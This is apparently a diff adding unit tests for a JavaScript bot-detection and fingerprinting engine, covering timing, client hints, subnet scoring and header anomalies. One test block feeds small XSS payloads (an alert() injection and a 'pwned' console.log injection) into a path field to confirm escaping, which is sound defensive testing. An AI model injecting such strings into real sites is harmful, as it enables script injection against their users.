+ it('should cap the score at 100 for very large time differences', () => {
1878
+ const requestTimestamp = Date.now();
1879
+ const clientTimestamp = requestTimestamp - (REPLAY_THRESHOLD_MS * 5); // 5 times the threshold
1880
+ const context = { requestTimestamp };
1881
+ const metrics = { clientTimestamp };
1882
+
1883
+ const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
1884
+ expect(timeInconsistencyScore).toBe(100);
1885
+ });
1886
+
1887
+ it('should return 0 if clientTimestamp is after requestTimestamp (client clock ahead)', () => {
1888
+ const requestTimestamp = Date.now();
1889
+ const clientTimestamp = requestTimestamp + 5000; // Client clock is 5 seconds ahead
1890
+ const context = { requestTimestamp };
1891
+ const metrics = { clientTimestamp };
1892
+
1893
+ const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
1894
+ expect(timeInconsistencyScore).toBe(0);
1895
+ });
1896
+
1897
+ it('should return 0 if clientTimestamp or requestTimestamp is missing', () => {
1898
+ const context1 = { requestTimestamp: Date.now() };
1899
+ const metrics1 = {}; // Missing clientTimestamp
1900
+ expect(__internal.getTimeInconsistencyScore(context1, metrics1).timeInconsistencyScore).toBe(0);
1901
+
1902
+ const context2 = {}; // Missing requestTimestamp
1903
+ const metrics2 = { clientTimestamp: Date.now() };
1904
+ expect(__internal.getTimeInconsistencyScore(context2, metrics2).timeInconsistencyScore).toBe(0);
1905
+ });
1906
+ });
1907
+ describe('Challenge Page Generation Security (XSS)', () => {
1908
+ // Les fonctions sont déjà exportées via __internal
1909
+ const { generateCpuTargetChallengePage, generateCombinedPoWChallengePage } = __internal;
1910
+
1911
+ // Mock readFileSync pour éviter les erreurs de système de fichiers lorsque getPowSolverCode est appelé
1912
+ beforeEach(() => {
1913
+ // Assurez-vous que le mock est actif pour ces tests
1914
+ readFileSync.mockReturnValue('// MOCK SOLVER CODE');
1915
+ });
1916
+
1917
+ afterEach(() => {
1918
+ readFileSync.mockClear();
1919
+ });
1920
+
1921
+ it('should escape the path parameter in generateCpuTargetChallengePage to prevent XSS', () => {
1922
+ const maliciousPath = `"/;alert('XSS');//`;
1923
+ const challengeDetails = {
1924
+ nonce: 'test-nonce',
1925
+ target: '0000',
1926
+ path: maliciousPath,
1927
+ };
1928
+
1929
+ const html = generateCpuTargetChallengePage(challengeDetails, '127.0.0.1');
1930
+
1931
+ // 1. Le script malveillant brut ne doit PAS être présent.
1932
+ expect(html).not.toContain(`window.location.href = "/;alert('XSS');//?pow_type=cpu_target`);
1933
+
1934
+ // 2. Le chemin doit être correctement échappé via JSON.stringify, neutralisant l'attaque.
1935
+ const expectedEscapedString = `window.location.href = ${JSON.stringify(maliciousPath)} + "?pow_type=cpu_target`;
1936
+ expect(html).toContain(expectedEscapedString);
1937
+ });
1938
+
1939
+ it('should escape the path parameter in generateCombinedPoWChallengePage to prevent XSS', () => {
1940
+ const maliciousPath = `test.com";\nconsole.log("pwned");//`;
1941
+ const challengeDetails = { nonce: 'test-nonce', target: '0000', path: maliciousPath };
1942
+
1943
+ const html = generateCombinedPoWChallengePage(challengeDetails, 16, '127.0.0.1', 'secret', {}, '');
1944
+
1945
+ expect(html).not.toContain(`const path = "test.com";`);
1946
+ expect(html).toContain(`const path = ${JSON.stringify(maliciousPath)};`);
1947
+ });
1948
+ });
1949
+
1950
+
1951
+ describe('Regularity Detection (Standard Deviation)', () => {
1952
+ const regularityConfig = {
1953
+ ...patternConfig,
1954
+ patternWeight: 60,
1955
+ minSamples: 5, // Ensure minSamples is explicitly defined for this test suite
1956
+ };
1957
+
1958
+ let dateNowSpy;
1959
+ it('should apply a high penalty for perfectly regular requests', () => {
1960
+ const deviceData = { requestHistory: [], timingHistory: [1000, 1000, 1000, 1000, 1000] }; // Écart-type = 0
1961
+ const context = { path: '/page', query: {} };
1962
+ dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000); // La 6ème requête arrive aussi après 1000ms
1963
+
1964
+ const { requestPatternScore } = getRequestPatternScore(context, deviceData, regularityConfig);
1965
+
1966
+ // stdDev is 0, which is < regularityThreshold, so the full patternWeight is applied.
1967
+ expect(requestPatternScore).toBe(regularityConfig.patternWeight);
1968
+ });
1969
+
1970
+ it('should apply a low penalty for slightly irregular requests', () => {
1971
+ const deviceData = { requestHistory: [], timingHistory: [1000, 1010, 990, 1005, 995] }; // Écart-type faible mais non nul
1972
+ const context = { path: '/page', query: {} };
1973
+ dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000);
1974
+ const localConfig = { ...regularityConfig, regularityThreshold: 10 }; // stdDev of this data is ~5.
1975
+
1976
+ const { requestPatternScore } = getRequestPatternScore(context, deviceData, localConfig);
1977
+
1978
+ expect(requestPatternScore).toBe(localConfig.patternWeight);
1979
+ });
1980
+
1981
+ it('should apply no penalty for highly irregular (human-like) requests', () => {
1982
+ const deviceData = { requestHistory: [], timingHistory: [500, 2000, 800, 3500, 1200] }; // Écart-type élevé
1983
+ const context = { path: '/page', query: {} };
1984
+ dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000);
1985
+ // The stdDev of this data is high, so it won't trigger the regularity check.
1986
+
1987
+ const { requestPatternScore } = getRequestPatternScore(context, deviceData, regularityConfig);
1988
+
1989
+ expect(requestPatternScore).toBe(0);
1990
+ });
1991
+ });
1992
+ describe('Dry Run Mode', () => {
1993
+ const inMemoryStore = {
1994
+ _map: new Map(),
1995
+ async get(key) { return this._map.get(key); },
1996
+ async set(key, value) { this._map.set(key, value); },
1997
+ };
1998
+
1999
+ beforeEach(() => {
2000
+ inMemoryStore._map.clear();
2001
+ configureStore(inMemoryStore);
2002
+ vi.spyOn(console, 'log').mockImplementation(() => {});
2003
+ });
2004
+
2005
+ afterEach(() => {
2006
+ vi.restoreAllMocks();
2007
+ });
2008
+
2009
+ it('should log the intended action but return "next" when a request would be blocked', async () => {
2010
+ const securityConfig = {
2011
+ dryRun: true,
2012
+ verbose: true, // Enable logging for the test
2013
+ weights: { honeypotScore: 1.0 },
2014
+ thresholds: { low: 20, block: 95 },
2015
+ };
2016
+ const engine = new FingerprintEngine(securityConfig);
2017
+
2018
+ // Mock a highly suspicious vector that would normally trigger a block
2019
+ vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
2020
+ honeypotScore: 100
2021
+ });
2022
+
2023
+ const requestContext = {
2024
+ clientIp: '1.2.3.4', path: '/', cookies: {}, query: {}, headers: { 'user-agent': 'test-bot' },
2025
+ };
2026
+
2027
+ const decision = await engine.processRequest(requestContext);
2028
+
2029
+ // Assert that the final action is 'next'
2030
+ expect(decision.action).toBe('next');
2031
+ // Assert that the intended action was to 'block'
2032
+ expect(decision.intendedAction).toBe('block');
2033
+ // Assert that the log message indicates a dry run
2034
+ expect(console.log).toHaveBeenCalledWith(
2035
+ expect.stringContaining('[FingerprintEngine] [Dry Run] Intended action: block'),
2036
+ expect.any(Object) // The second argument is the data object
2037
+ );
2038
+ });
2039
+ });
2040
+
2041
+ describe('getClientHintsInconsistencyScore', () => {
2042
+ const { getClientHintsInconsistencyScore } = __internal;
2043
+
2044
+ it('should return 0 for consistent User-Agent and Client-Hints', () => {
2045
+ const context = {
2046
+ headers: {
2047
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
2048
+ 'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
2049
+ }
2050
+ };
2051
+ const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
2052
+ expect(clientHintsInconsistencyScore).toBe(0);
2053
+ });
2054
+
2055
+ it('should return 80 for a large version mismatch', () => {
2056
+ const context = {
2057
+ headers: {
2058
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
2059
+ 'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
2060
+ }
2061
+ };
2062
+ const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
2063
+ expect(clientHintsInconsistencyScore).toBe(80);
2064
+ });
2065
+
2066
+ it('should return 40 for a small version mismatch', () => {
2067
+ const context = {
2068
+ headers: {
2069
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
2070
+ 'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
2071
+ }
2072
+ };
2073
+ const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
2074
+ expect(clientHintsInconsistencyScore).toBe(40);
2075
+ });
2076
+
2077
+ it('should return 90 for a browser family mismatch', () => {
2078
+ const context = {
2079
+ headers: {
2080
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
2081
+ 'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
2082
+ }
2083
+ };
2084
+ const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
2085
+ expect(clientHintsInconsistencyScore).toBe(90);
2086
+ });
2087
+
2088
+ it('should return 0 if headers are missing or unparsable', () => {
2089
+ const context1 = { headers: { 'user-agent': 'Just Chrome/120' } }; // Missing sec-ch-ua
2090
+ const context2 = { headers: { 'sec-ch-ua': '"Google Chrome";v="120"' } }; // Missing user-agent
2091
+ const context3 = { headers: { 'user-agent': 'UnknownBrowser/1.0', 'sec-ch-ua': '"UnknownBrand";v="1.0"' } }; // Unparsable
2092
+
2093
+ expect(getClientHintsInconsistencyScore(context1).clientHintsInconsistencyScore).toBe(0);
2094
+ expect(getClientHintsInconsistencyScore(context2).clientHintsInconsistencyScore).toBe(0);
2095
+ expect(getClientHintsInconsistencyScore(context3).clientHintsInconsistencyScore).toBe(0);
2096
+ });
2097
+ });
2098
+
2099
+ describe('Subnet Scoring (Node.js)', () => {
2100
+ const inMemoryStore = {
2101
+ _map: new Map(),
2102
+ async get(key) { return this._map.get(key); },
2103
+ async set(key, value) { this._map.set(key, value); },
2104
+ clear() { this._map.clear(); }
2105
+ };
2106
+
2107
+ beforeEach(async () => {
2108
+ inMemoryStore.clear();
2109
+ // La configuration du store est maintenant asynchrone
2110
+ await configureStore(inMemoryStore); // Configure the shared store for each test
2111
+ });
2112
+
2113
+ it('getIpSubnet should correctly calculate subnets', () => {
2114
+ const { getIpSubnet } = __internal;
2115
+ // IPv4
2116
+ expect(getIpSubnet('192.168.1.123', 24)).toBe('192.168.1.0/24');
2117
+ // The new version handles other prefixes
2118
+ expect(getIpSubnet('10.20.30.40', 16)).toBe('10.20.0.0/16');
2119
+ // IPv6
2120
+ expect(getIpSubnet('2001:db8:abcd:0012:0000:0000:0000:0001', 48)).toBe('2001:db8:abcd:0:0:0:0:0/48');
2121
+ // The new version handles other prefixes
2122
+ expect(getIpSubnet('2a01:e0a:129:57c0:a1b2:c3d4:e5f6:a7b8', 64)).toBe('2a01:e0a:129:0:0:0:0:0/48');
2123
+ // Invalid IPs
2124
+ expect(getIpSubnet('not-an-ip')).toBeNull();
2125
+ });
2126
+
2127
+ it('updateSubnetMetrics should create and update subnet data in the store', async () => {
2128
+ const context = { clientIp: '10.0.0.25' };
2129
+ await __internal.updateSubnetMetrics(context, 'device-1', 50);
2130
+
2131
+ const subnetData = await inMemoryStore.get('subnet:10.0.0.0/24');
2132
+ expect(subnetData).toBeDefined();
2133
+ expect(subnetData.highScoreCount).toBe(1);
2134
+ expect(subnetData.deviceIds).toEqual(['device-1']);
2135
+
2136
+ // Second update
2137
+ await __internal.updateSubnetMetrics(context, 'device-2', 60);
2138
+ const updatedSubnetData = await inMemoryStore.get('subnet:10.0.0.0/24');
2139
+ expect(updatedSubnetData.highScoreCount).toBe(2);
2140
+ expect(updatedSubnetData.deviceIds).toEqual(['device-1', 'device-2']);
2141
+ });
2142
+
2143
+ it('getSubnetScore should calculate score based on stored metrics', async () => {
2144
+ const context = { clientIp: '10.0.0.25' };
2145
+
2146
+ // 1. No data, score should be 0
2147
+ let { subnetScore } = await __internal.getSubnetScore(context, 'device-1');
2148
+ expect(subnetScore).toBe(0);
2149
+
2150
+ // 2. Some high scores, few devices. The subnet is calculated from the context.
2151
+ // The key is hardcoded here to match what the implementation would store.
2152
+ await inMemoryStore.set('subnet:10.0.0.0/24', {
2153
+ highScoreCount: 5, // score += 5 * 2 = 10
2154
+ deviceIds: ['d1', 'd2'], // count < 10, score += 0
2155
+ });
2156
+ ({ subnetScore } = await __internal.getSubnetScore(context, 'device-1'));
2157
+ expect(subnetScore).toBe(10);
2158
+
2159
+ // 3. Many devices and high scores
2160
+ const deviceIds = Array.from({ length: 20 }, (_, i) => `d${i}`);
2161
+ await inMemoryStore.set('subnet:10.0.0.0/24', {
2162
+ highScoreCount: 30, // score += min(40, 30 * 2) = 40
2163
+ deviceIds: deviceIds, // count = 20. score += (20-10)*5 = 50
2164
+ });
2165
+ ({ subnetScore } = await __internal.getSubnetScore(context, 'device-1'));
2166
+ expect(subnetScore).toBe(90); // 40 + 50
2167
+ });
2168
+ });
2169
+
2170
+ describe('Firefox TE Header Anomaly', () => {
2171
+ const securityConfig = {
2172
+ weights: { headerAnomalyScore: 1.0 },
2173
+ thresholds: { low: 20, medium: 45, high: 75 }
2174
+ };
2175
+
2176
+ it('should penalize Firefox desktop UA without TE: trailers', async () => {
2177
+ const context = {
2178
+ clientIp: '1.1.1.1',
2179
+ path: '/',
2180
+ headers: {
2181
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
2182
+ 'accept-language': 'en-US,en;q=0.9',
2183
+ },
2184
+ cookies: { device_id: 'some-device' },
2185
+ };
2186
+ const vector = await __internal.getSuspicionVector(context, securityConfig);
2187
+ expect(vector.headerAnomalyScore).toBe(30);
2188
+ });
2189
+
2190
+ it('should not penalize Firefox desktop UA with TE: trailers', async () => {
2191
+ const context = {
2192
+ clientIp: '1.1.1.1',
2193
+ path: '/',
2194
+ headers: {
2195
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
2196
+ 'accept-language': 'en-US,en;q=0.9',
2197
+ 'te': 'trailers',
2198
+ },
2199
+ cookies: { device_id: 'some-device' },
2200
+ };
2201
+ const vector = await __internal.getSuspicionVector(context, securityConfig);
2202
+ expect(vector.headerAnomalyScore).toBe(0);
2203
+ });
2204
+
2205
+ it('should penalize non-Firefox desktop UA with TE: trailers', async () => {
2206
+ const context = {
2207
+ clientIp: '1.1.1.1',
2208
+ path: '/',
2209
+ headers: {
2210
+ 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
2211
+ 'accept-language': 'en-US,en;q=0.9',
2212
+ 'te': 'trailers',
2213
+ },
2214
+ cookies: { device_id: 'some-device' },
2215
+ };
2216
+ const vector = await __internal.getSuspicionVector(context, securityConfig);
2217
+ expect(vector.headerAnomalyScore).toBe(30);
2218
+ });
2219
+ });
2220
+
2221
+ describe('FingerprintEngine.processRequest - updateSubnetMetrics call logic', () => {
2222
+ const inMemoryStore = {
2223
+ _map: new Map(),
2224
+ async get(key) { return this._map.get(key); },
2225
+ async set(key, value) { this._map.set(key, value); },
2226
+ async has(key) { return this._map.has(key); },
2227
+ async delete(key) { this._map.delete(key); },
2228
+ };
2229
+
2230
+ let securityConfig;
2231
+ let engine;
2232
+ let updateSubnetMetricsSpy;
2233
+ let getSuspicionVectorSpy;
2234
+ let calculateFinalScoreSpy;
2235
+
2236
+ beforeEach(() => {
2237
+ inMemoryStore._map.clear();
2238
+ configureStore(inMemoryStore);
2239
+
2240
+ securityConfig = {
2241
+ weights: { historyScore: 1.0 },
2242
+ thresholds: { low: 20, medium: 45, high: 75, block: 95 }, // Default blockThreshold
2243
+ };
2244
+ engine = new FingerprintEngine(securityConfig);
2245
+
2246
+ // Spy on the internal updateSubnetMetrics function
2247
+ updateSubnetMetricsSpy = vi.spyOn(__internal, 'updateSubnetMetrics').mockResolvedValue(undefined);
2248
+ // Spy on getSuspicionVector to control the input to calculateFinalScore
2249
+ getSuspicionVectorSpy = vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({});
2250
+ // Spy on calculateFinalScore to directly control the finalScore
2251
+ calculateFinalScoreSpy = vi.spyOn(engine, 'calculateFinalScore');
2252
+ });
2253
+
2254
+ afterEach(() => {
2255
+ updateSubnetMetricsSpy.mockRestore();
2256
+ getSuspicionVectorSpy.mockRestore();
2257
+ calculateFinalScoreSpy.mockRestore();
2258
+ });
2259
+
2260
+ it('should call updateSubnetMetrics if finalScore is between lowThreshold and blockThreshold', async () => {
2261
+ calculateFinalScoreSpy.mockReturnValue(50); // Score between 20 and 95
2262
+ const requestContext = { clientIp: '192.168.1.1', cookies: {}, query: {}, headers: {} };
2263
+
2264
+ await engine.processRequest(requestContext);
2265
+
2266
+ expect(updateSubnetMetricsSpy).toHaveBeenCalledTimes(1);
2267
+ expect(updateSubnetMetricsSpy).toHaveBeenCalledWith(requestContext, expect.any(String), 50);
2268
+ });
2269
+
2270
+ it('should NOT call updateSubnetMetrics if finalScore is equal to or above blockThreshold', async () => {
2271
+ calculateFinalScoreSpy.mockReturnValue(95); // Score equals blockThreshold
2272
+ const requestContext = { clientIp: '192.168.1.1', cookies: {}, query: {}, headers: {} };
2273
+
2274
+ await engine.processRequest(requestContext);
2275
+
2276
+ expect(updateSubnetMetricsSpy).not.toHaveBeenCalled();
2277
+
2278
+ calculateFinalScoreSpy.mockReturnValue(100); // Score above blockThreshold
2279
+ await engine.processRequest(requestContext);
2280
+
2281
+ expect(updateSubnetMetricsSpy).not.toHaveBeenCalled();
2282
+ });
2283
+ });
2284
+
2285
+ describe('Additional Suspicion Vectors Coverage', () => {
2286
+ const inMemoryStore = {
2287
+ _map: new Map(),
2288
+ async get(key) { return this._map.get(key); },
2289
+ async set(key, value) { this._map.set(key, value); },
2290
+ async has(key) { return this._map.has(key); },
2291
+ async delete(key) { this._map.delete(key); },
2292
+ };
2293
+
2294
+ beforeEach(() => {
2295
+ inMemoryStore._map.clear();
2296
+ configureStore(inMemoryStore);
2297
+ });
2298
+
2299
+ it('should calculate a high rotationScore for rapid fingerprint changes', async () => {
2300
+ const context = {
2301
+ clientIp: '127.0.0.1',
2302
+ cookies: { device_id: 'rotating-device' },
2303
+ headers: { 'user-agent': 'test-ua' }
2304
+ };
2305
+
2306
+ await inMemoryStore.set('device:rotating-device', {
2307
+ initialDeviceHash: 'hash-A',
2308
+ ips: new Set(['127.0.0.1']),
2309
+ lastUpdate: Date.now(),
2310
+ lastFpHash: 'hash-A',
2311
+ lastChangeTimestamp: Date.now(),
2312
+ rapidChangeCount: 3,
2313
+ });
2314
+
2315
+ const vector = await __internal.getSuspicionVector(context, {
2316
+ weights: { rotationScore: 1.0 },
2317
+ thresholds: { low: 20 }
2318
+ });
2319
+
2320
+ expect(vector.rotationScore).toBe(100);
2321
+ });
2322
+
2323
+ it('should calculate a high botScore when bot or cdp markers are present in device fingerprint', async () => {
2324
+ const contextBot = {
2325
+ clientIp: '127.0.0.1',
2326
+ headers: { 'x-device-fingerprint': 'ua:123|bot:true' }
2327
+ };
2328
+ const contextCdp = {
2329
+ clientIp: '127.0.0.1',
2330
+ headers: { 'x-device-fingerprint': 'ua:123|cdp:true' }
2331
+ };
2332
+
2333
+ const vectorBot = await __internal.getSuspicionVector(contextBot, { weights: { botScore: 1.0 } });
2334
+ const vectorCdp = await __internal.getSuspicionVector(contextCdp, { weights: { botScore: 1.0 } });
2335
+
2336
+ expect(vectorBot.botScore).toBe(100);
2337
+ expect(vectorCdp.botScore).toBe(100);
2338
+ });
2339
+
2340
+ it('should calculate a high crossLayerInconsistencyScore when OS mismatch is detected', () => {
2341
+ const context = {
2342
+ headers: {
2343
+ 'x-device-fingerprint': `os:${cyrb53("Windows")}`,
2344
+ 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15'
2345
+ }
2346
+ };
2347
+
2348
+ const { crossLayerInconsistencyScore } = __internal.getCrossLayerInconsistency(context);
2349
+ expect(crossLayerInconsistencyScore).toBe(50);
2350
+ });
2351
+ });